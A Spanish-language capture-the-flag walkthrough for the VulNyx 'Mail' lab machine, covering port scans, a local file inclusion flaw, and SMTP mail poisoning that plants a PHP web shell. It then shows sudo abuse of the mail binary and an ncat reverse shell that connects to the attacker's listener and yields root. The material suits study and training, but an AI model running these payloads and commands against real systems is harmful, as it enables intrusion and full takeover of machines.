VulNyx - Mail

logo

  • Mail Poisoning
  • Abusing Mail Binary
  • Abusing Ncat Binary

Escaneo de puertos

❯ nmap -p- -T5 -v -n 192.168.1.12

PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,25,80 192.168.1.12

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
|   256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_  256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
25/tcp open  smtp    Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: mail.home, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=mail
| Subject Alternative Name: DNS:mail
| Issuer: commonName=mail
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-13T14:36:50
| Not valid after:  2033-05-10T14:36:50
| MD5:   1d9f76b3665000acf2518ead2dad1eeb
|_SHA-1: 279dee6e082365dddd9636de98215e8fe0bf1bf8
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Email Reader
Service Info: Host:  mail.home; OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

Veo una herramienta para buscar correos electrónicos, pero solo acepta números.

Vulnyx/Mail/http

Miro el contenido del código fuente y no hay nada que me llame la atención.

httpcode

Pongo el número 1 y me muestra este mensaje.

httpcodeid1

Pongo el número 2 y me muestra otro mensaje.

httpcodeid2

Aplicando metodología básica encuentro un LFI.

Si escribo directamente el parámetro en la url me salto la validación de la herramienta.

lfi

SMTP

Me conecto al servicio smtp a través de telnet para mandar un correo al usuario cain usando la cuenta de abel.

❯ telnet 192.168.1.12 25
Trying 192.168.1.12...
Connected to 192.168.1.12.
Escape character is '^]'.
220 mail.home ESMTP Postfix (Debian/GNU)
MAIL FROM: <abel@mail.nyx>
250 2.1.0 Ok
RCPT TO: <cain@mail.nyx>
250 2.1.5 Ok

En el campo DATA le añado este pequeño código malicioso y escribo un mensaje de prueba.

DATA
354 End data with <CR><LF>.<CR><LF>
<?php system($_GET['cmd']); ?>
hi cain you have been hacked!
.
250 2.0.0 Ok: queued as 6E16C36D

Como puedo leer archivos del servidor mediante el LFI me voy a /var/mail/cain que es el buzón del usuario cain y veo el mensaje que he escrito hi cain you have been hacked!.

cainMai

Compruebo que puedo ejecutar comandos.

cainMailid

Me mando una shell para acceder al sistema como usuario cain.

revshellcai

Después de realizar el tratamiento para la tty hago una enumeración de permisos con sudo.

cain@mail:/home/cain$ sudo -l
Matching Defaults entries for cain on mail:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cain may run the following commands on mail:
    (abel) NOPASSWD: /usr/bin/mail

Para pivotar al usuario abel he usado este recurso de gtfobins.

cain@mail:/var/www/html$ sudo -u abel mail --exec='!/bin/bash'
abel@mail:/var/www/html$ id
id
uid=1001(abel) gid=1001(abel) groups=1001(abel)

Privesc

Enumero de nuevo permisos de sudo

abel@mail:~$ sudo -l

Matching Defaults entries for abel on mail:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User abel may run the following commands on mail:
    (root) NOPASSWD: /usr/bin/ncat -6 *
abel@mail:~$

Obtengo el root de la siguiente forma.

abel@mail:~$ sudo /usr/bin/ncat -6 fe80::a00:27ff:fead:bba4%enp0s3 1234 -e /bin/bash

Listener ncat.

❯ ncat -lvnp 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from fe80::a00:27ff:fe03:10d2.
Ncat: Connection from fe80::a00:27ff:fe03:10d2:51246.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@mail:/home/abel# id
id
uid=0(root) gid=0(root) groups=0(root)

Y con esto ya tenemos resuelta la máquina Mail.

Saludos!